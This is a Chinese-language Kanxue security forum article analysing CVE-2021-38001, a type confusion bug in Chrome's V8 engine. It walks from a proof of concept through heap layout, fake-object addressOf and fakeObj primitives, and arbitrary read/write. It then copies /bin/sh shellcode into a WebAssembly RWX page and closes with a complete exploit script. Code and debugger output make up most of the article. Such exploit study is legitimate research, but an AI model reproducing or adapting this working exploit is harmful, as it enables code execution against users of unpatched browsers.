CVE-2021-38001漏洞利用

語言: CN / TW / HK

本文為看雪論壇優秀文章

看雪論壇作者ID:Tokameine

受影響的Chrome最高版本為:95.0.4638.54
受影響的V8最高版本為:9.5.172.21
issue編號:1260577

POC

import('./1.mjs').then((m1) => {
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
class C {
m() {
return super.x;
}
}
obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = u2d(0x40404042, 0);
}
C.prototype.__proto__ = m1;
function trigger() {
let c = new C();

c.x0 = obj_prop_ut_fake;
let res = c.m();
return res;
}
for (let i = 0; i < 10; i++) {
trigger();
}
let evil = trigger();
%DebugPrint(evil);
});

漏洞利用

執行後可以看出,evil 變數被當作一個整數直接列印了,這意味著 evil 似乎變成了一個指標,能夠指向任意一個物件了:

DebugPrint: Smi: 0x20202021 (538976289)

此處 0x20202021 * 2 = 0x40404042

正好是我們設定的值。

但目前我們還需要有辦法洩露地址,從可能讓 evil 指向一個合適的目標,顯然,我們目前缺少能夠洩露地址的手段,但回顧其上一章曾說過的,v8 對儲存的地址進行了壓縮,只保留了低 32 位元組,那麼實際情況會是什麼樣的呢?先試著用一個簡單的指令碼測試一下:

a=[2.1]
b=[a];
arr = Array(0xf700);
%DebugPrint(a);
%DebugPrint(b);
%DebugPrint(arr);
DebugPrint: 0x54408049941: [JSArray]//第一次執行
DebugPrint: 0x5440804995d: [JSArray]
DebugPrint: 0x5440804996d: [JSArray]

DebugPrint: 0x54008049941: [JSArray]//第二次執行
DebugPrint: 0x5400804995d: [JSArray]
DebugPrint: 0x5400804996d: [JSArray]

DebugPrint: 0x3b0d08049941: [JSArray]//第三次執行
DebugPrint: 0x3b0d0804995d: [JSArray]
DebugPrint: 0x3b0d0804996d: [JSArray]

儘管三次執行,每次列印的地址都不一樣,但如果只看其低 32bit 的話,這些地址是完全相同的。在地址壓縮的情況下,我們需要寫入的地址只需要低 32bit 即可,這意味著,我們不需要任何洩露也能夠讓 evil 指向一塊我們希望的地址,因為它們的低位不會因為 ASLR 而改變。

V8下的堆噴技術

網上一搜堆噴,首先出來的就是通過跳板指令去滑到 shellcode,但那種利用條件以目前的技術來看似乎基本上無法利用了,畢竟它要求堆是可讀可寫可執行的,才可能往裡面插跳板指令,至少在 v8 中是不太可能,但通過開闢大記憶體塊來調整記憶體結構的思路是可以借用的。

一般在 v8 的分析文章中常說的堆記憶體指的是如下這段記憶體:

0x23200000000      0x2320014e000 r-xp   14e000 0      [anon_23200000]
0x2320014e000 0x23200180000 ---p 32000 0 [anon_2320014e]
0x23200180000 0x23200183000 rw-p 3000 0 [anon_23200180]
0x23200183000 0x23200184000 ---p 1000 0 [anon_23200183]
0x23200184000 0x2320019a000 r-xp 16000 0 [anon_23200184]
0x2320019a000 0x232001bf000 ---p 25000 0 [anon_2320019a]
0x232001bf000 0x23208000000 ---p 7e41000 0 [anon_232001bf]
0x23208000000 0x2320802a000 r--p 2a000 0 [anon_23208000]
0x2320802a000 0x23208040000 ---p 16000 0 [anon_2320802a]
0x23208040000 0x2320814d000 rw-p 10d000 0 [anon_23208040]
0x2320814d000 0x23208180000 ---p 33000 0 [anon_2320814d]
0x23208180000 0x23208183000 rw-p 3000 0 [anon_23208180]
0x23208183000 0x232081c0000 ---p 3d000 0 [anon_23208183]
0x232081c0000 0x2320833e000 rw-p 17e000 0 [anon_232081c0]
0x2320833e000 0x23300000000 ---p f7cc2000 0 [anon_2320833e]

其中,以 0x2320833e000 地址開始的這段是尚未分配的記憶體區,而以 0x232081c0000 地址開始的則是剛剛分配出來的堆記憶體。

並且可以注意到,這一大段記憶體都是地址連續的,因此我們可以通過開闢足夠大的記憶體塊來讓某個地址處的記憶體能夠讀寫,並且這個地址是我們已知的。那麼問題就變成了,具體應該開闢多大的記憶體區?

對比一下堆空間和網上能夠找到的資料,筆者用一段簡單的測試程式碼說明:

%SystemBreak();

arr = Array(0xf700);
arr[0]=1;
%DebugPrint(arr);
%SystemBreak();

arr = Array(0xf700);
arr[0]=2;
%DebugPrint(arr);
%SystemBreak();
0x2f43081c0000     0x2f4308240000 rw-p    80000 0      [anon_2f43081c0]//第一個斷點
0x2f4308240000 0x2f4400000000 ---p f7dc0000 0 [anon_2f4308240]

0x2f43081c0000 0x2f4308280000 rw-p c0000 0 [anon_2f43081c0]//第二個斷點
0x2f4308280000 0x2f4400000000 ---p f7d80000 0 [anon_2f4308280]

0x2f43081c0000 0x2f43082c0000 rw-p 100000 0 [anon_2f43081c0]//第三個斷點
0x2f43082c0000 0x2f4400000000 ---p f7d40000 0 [anon_2f43082c0]

似乎堆結構在以有規律的增長,接下來實際看一下記憶體中的狀況:

pwndbg> x/10gx 0x2f43081c0000
0x2f43081c0000: 0x0000000000040000 0x0000000000000004
0x2f43081c0010: 0x000055775c5d9e68 0x00002f43081c2118
0x2f43081c0020: 0x00002f4308200000 0x000000000003dee8
0x2f43081c0030: 0x0000000000000000 0x0000000000002118
0x2f43081c0040: 0x000055775c65c210 0x000055775c5cbeb0

pwndbg> x/10gx 0x2f43081c0000+0x40000
0x2f4308200000: 0x0000000000040000 0x0000000000000004
0x2f4308200010: 0x000055775c5d9e68 0x00002f4308202118
0x2f4308200020: 0x00002f4308240000 0x000000000003dee8
0x2f4308200030: 0x0000000000000000 0x0000000000002118
0x2f4308200040: 0x000055775c65c870 0x000055775c5cbeb0

pwndbg> x/10gx 0x2f43081c0000+0x40000+0x40000
0x2f4308240000: 0x0000000000040000 0x0000000000000032
0x2f4308240010: 0x000055775c5d9e68 0x00002f4308242118
0x2f4308240020: 0x00002f430827fd20 0x000000000003dc08
0x2f4308240030: 0x0000000000000000 0x0000000000002118
0x2f4308240040: 0x000055775c65cd50 0x000055775c5cbeb0

我們按照每次增長的地址空間大小去跟蹤記憶體,發現它們存在一定的規律,對照一些資料能夠大概得到這樣的結論:

0x2f43081c0000:記憶體塊的大小

0x2f43081c0018:記憶體塊可用空間的起始地址

0x2f43081c0020:表示下一個記憶體塊的地址

0x2f43081c0008:已被使用的記憶體大小(0x3dee8+0x2118=0x40000)

0x2f43081c0038:元資料的佔用大小

再對比一下打印出來的資料資訊:

pwndbg> job 0x2f430804999d
- elements: 0x2f4308242119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS]
- length: 63232
- properties: 0x2f430800222d <FixedArray[0]>
}
- elements: 0x2f4308242119 <FixedArray[63232]> {
0: 1
1-63231: 0x2f430800242d <the_hole>
}

pwndbg> job 0x2f43080499ad
- elements: 0x2f4308282119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS]
- length: 63232
- properties: 0x2f430800222d <FixedArray[0]>
}
- elements: 0x2f4308282119 <FixedArray[63232]> {
0: 2
1-63231: 0x2f430800242d <the_hole>
}

可以發現,兩個 Array 的儲存資料地址 elements 都從 0x2119+自身堆地址 處開始,順序儲存,這意味著我們能夠通過固定的低位偏移得到這兩個資料的地址資訊,因此甚至不需要洩露地址也能夠獲取 elements 的地址。

這種思路和傳統的堆噴有些差別,因為它是通過開闢記憶體空間使得固定地址的記憶體可讀寫,而傳統堆噴則是通過開闢大記憶體使得隨機訪問能夠命中。

利用思路

既然我們能夠知道 Array 物件的 elements 成員地址,就能夠向其中偽造資料資料,將偽造的內容裝成一個物件,從而實現 addressOf 和 fakeObject,進而完成任意地址讀寫。

首先,我們令 evil 指向一個新 Array 的 elements 中的 value ,然後在這個 Array 中佈置資料進行偽造:

···
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = u2d(0x082c2121, 0);
}
···
var demo_array=new Array(0xf000);
demo_ele_addr=0x82c2120;
fake_buf=demo_ele_addr+0x200+8;
array_map0 = itof(0x1604040408002119n);

double_array_map_addr=demo_ele_addr+0x100;
double_array_map_value=itof(0x0a0007ff11000834n);

demo_array[0x100/8]=array_map0;
demo_array[0x108/8]=double_array_map_value;

obj_array_map_addr=demo_ele_addr+0x150;
obj_array_map_value=itof(0x0a0007ff09000834n);

demo_array[0x150/8]=array_map0;
demo_array[0x158/8]=obj_array_map_value;

demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);
demo_array[0x008/8]=u2d(fake_buf+1,0x2);

其中值得一提的是,map 的偽造過程:

demo_ele_addr=0x82c2120;
fake_buf=demo_ele_addr+0x200+8;

array_map0 = itof(0x1604040408002119n);
obj_array_map_value=itof(0x0a0007ff09000834n);
obj_array_map_addr=demo_ele_addr+0x150;

demo_array[0x150/8]=array_map0;
demo_array[0x158/8]=obj_array_map_value;

demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);
demo_array[0x008/8]=u2d(fake_buf+1,0x2);

我們的偽造目標地址是 &demo_array[0] ,上面的程式碼和 C 的等價虛擬碼為:

*(demo_array) = obj_array_map_addr+1;
*(demo_array+4) = 0;
*(demo_array+8) = fake_buf+1;
*(demo_array+12) = 2;

*(obj_array_map_addr) = 0x0a0007ff09000834;

這種操作是合法的,我們可以發現, obj_array_map_addr 的值是已知的,其值是筆者隨意宣告一個物件陣列後在其 map 地址處實際拷貝出來的值,也就是說,map 值本身是固定的,和地址無關的,只需要讓指標指向該值,就會正常將其識別為對應的型別。

map 結構體當然是地址有關的, 但用以區分型別的值卻和地址無關,而在對變數進行取值或寫入時,只需要讀取 map 值而不需要其他的結構體成員。

而我們令其 elements 指標指向 fake_buf ,length 值為 2,但又有些怪異的是,我們不需要偽造 elements 結構體的 map。

結論是,向這個偽造的 elements 中寫入資料時,不需要讀取其 map 結構體,只需要上層的物件型別的寫入或讀取的引數相應即可。

addressOf

接下來就是嘗試如何去構造這個函式:

function addressOf(target_var)
{
demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);
evil[0]=target_var;
demo_array[0x000/8]=u2d(double_array_map_addr+1,0);
let addr=ftoi(evil[0])-1n;
console.log("[*] addr: 0x"+hex(addr));
demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);
return addr;
}

首先,我們令 evil 的結構體的 map 為 obj array ,使其成為物件陣列,將其放入以後,再轉回浮點數陣列後即可讀取,同時在最後一步,我們又將其轉回了物件型別,這並沒有特殊的意義,單純是個人習慣。

fakeObject

function fakeObj(target_addr)
{
demo_array[0x000/8]=u2d(double_array_map_addr+1,0);
console.log("[*] set addr: 0x"+hex(target_addr));
//evil[0]=itof(target_addr+1n);
demo_array[0x210/8]=itof(target_addr+1n);
demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);
let vul=evil[0];
demo_array[0x000/8]=u2d(double_array_map_addr+1,0);
return vul;
}

這個操作和上面的 addressOf 函式相似,但注意到筆者此處註釋掉了一行程式碼,它道理上似乎與下一行操作等價,但經過筆者的測試,這個操作會有些許差錯,導致寫入的數值不符合預期,但由於緩衝區本身也是我們偽造的,所以可以直接通過寫入 demo_array[0x210/8] 去改變 evil[0] 的數值。

偽造物件

雖說已經能夠讀取變數地址和偽造物件地址,但還沒涉及到具體的應用,這部分內容本就應該根據上面的兩個函式進行調整,並且,我們還沒有完全實現任意地址讀寫。

var fake_array = [
u2d(double_array_map_addr+1, 0),
itof(0x4141414141414141n)
];
var fake_ob=addressOf(fake_array);
fake_addr=fake_ob+0x20n+4n;
var t=fakeObj(fake_addr);

var wasmins=addressOf(wasmInstance);
fake_array[1]=itof(wasmins+0x68n+1n-8n-8n);
rwx_addr=ftoi(t[0]);
console.log("[*] value: 0x"+hex(ftoi(t[0])));

首先建立這樣一個浮點數陣列,通過 addressOf 獲取其地址以後,我們就能夠通過計算獲取到 &fake_array[0] 的地址,那麼我們就能夠將這個陣列的內容偽造成一個新的物件,這樣我們就能隨意設定新物件的 elements 地址,如果我們讓 fake_array[0] 是浮點數陣列的 map,那麼就會讓這個偽造物件為浮點數陣列,實現任意地址讀寫。

接下來只需要調整便宜,讓 t[0] 讀取到 wasmInstance+0x68 處的新記憶體段地址即可。

copy shellcode

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
function copy_shellcode(shellcode,addr)
{
var data_buf=new ArrayBuffer(shellcode.length*8);
var data_view=new DataView(data_buf);
var back_sotre_addr=addressOf(data_buf)+0x18n;
fake_array[1]=itof(back_sotre_addr-3n);
t[0]=itof(addr);
for (let i=0;i<shellcode.length;++i)
data_view.setFloat64(i*8,itof(shellcode[i]),true);
}
copy_shellcode(shellcode,rwx_addr);

這一段的內容就同上面所描述的相似,程式碼也並不是很長,讀者可以簡單理解一下。

EXP

import('./2.mjs').then((m1) => {
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function hex(i)
{
return i.toString(16).padStart(8, "0");
}
class C {
m() {
return super.x;
}
}
obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = u2d(0x082c2121, 0);
}
C.prototype.__proto__ = m1;
function trigger() {
let c = new C();

c.x0 = obj_prop_ut_fake;
let res = c.m();
return res;
}
for (let i = 0; i < 10; i++) {
trigger();
}
let evil = trigger();

var demo_array=new Array(0xf000);
var demo_array=new Array(0xf000);
demo_ele_addr=0x82c2120;
fake_buf=demo_ele_addr+0x200+8;
array_map0 = itof(0x1604040408002119n);

double_array_map_addr=demo_ele_addr+0x100;
double_array_map_value=itof(0x0a0007ff11000834n);

demo_array[0x100/8]=array_map0;
demo_array[0x108/8]=double_array_map_value;

obj_array_map_addr=demo_ele_addr+0x150;
obj_array_map_value=itof(0x0a0007ff09000834n);

demo_array[0x150/8]=array_map0;
demo_array[0x158/8]=obj_array_map_value;

demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);
demo_array[0x008/8]=u2d(fake_buf+1,0x2);

function addressOf(target_var)
{
demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);
evil[0]=target_var;
demo_array[0x000/8]=u2d(double_array_map_addr+1,0);
let addr=ftoi(evil[0])-1n;
console.log("[*] addr: 0x"+hex(addr));
demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);
return addr;
}

var fake_array = [
u2d(double_array_map_addr+1, 0),
itof(0x4141414141414141n)
];
function fakeObj(target_addr)
{
demo_array[0x000/8]=u2d(double_array_map_addr+1,0);
console.log("[*] set addr: 0x"+hex(target_addr));
demo_array[0x210/8]=itof(target_addr+1n);
demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);
let vul=evil[0];
demo_array[0x000/8]=u2d(double_array_map_addr+1,0);
return vul;
}

var wasmins=addressOf(wasmInstance);
var fake_ob=addressOf(fake_array);
fake_addr=fake_ob+0x20n+4n;
var t=fakeObj(fake_addr);
console.log("[*] addr: 0x"+hex(fake_addr));
fake_array[1]=itof(wasmins+0x68n+1n-8n-8n);

rwx_addr=ftoi(t[0]);
console.log("[*] value: 0x"+hex(ftoi(t[0])));

function copy_shellcode(shellcode,addr)
{
var data_buf=new ArrayBuffer(shellcode.length*8);
var data_view=new DataView(data_buf);
var back_sotre_addr=addressOf(data_buf)+0x18n;
fake_array[1]=itof(back_sotre_addr-3n);
t[0]=itof(addr);
for (let i=0;i<shellcode.length;++i)
data_view.setFloat64(i*8,itof(shellcode[i]),true);
}

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

copy_shellcode(shellcode,rwx_addr);
f();
});

看雪ID:Tokameine

https://bbs.pediy.com/user-home-924548.htm

*本文由看雪論壇 Tokameine 原創,轉載請註明來自看雪社群

長按圖片,掃碼報名參會 (早鳥票9.23截止)

峰會官網:https://meet.kanxue.com/kxmeet-6.htm

#

往期推薦

1. CVE-2013-3660提權漏洞學習筆記

2. Windows驅動程式設計之NDIS(VPN)

3. 因優化而導致的溢位與CVE-2020-16040

4. LLVM PASS PWN 總結

5. win10 1909逆向之APIC中斷和實驗

6. EMET下EAF機制分析以及模擬實現

球分享

球點贊

球在看

點選“閱讀原文”,瞭解更多!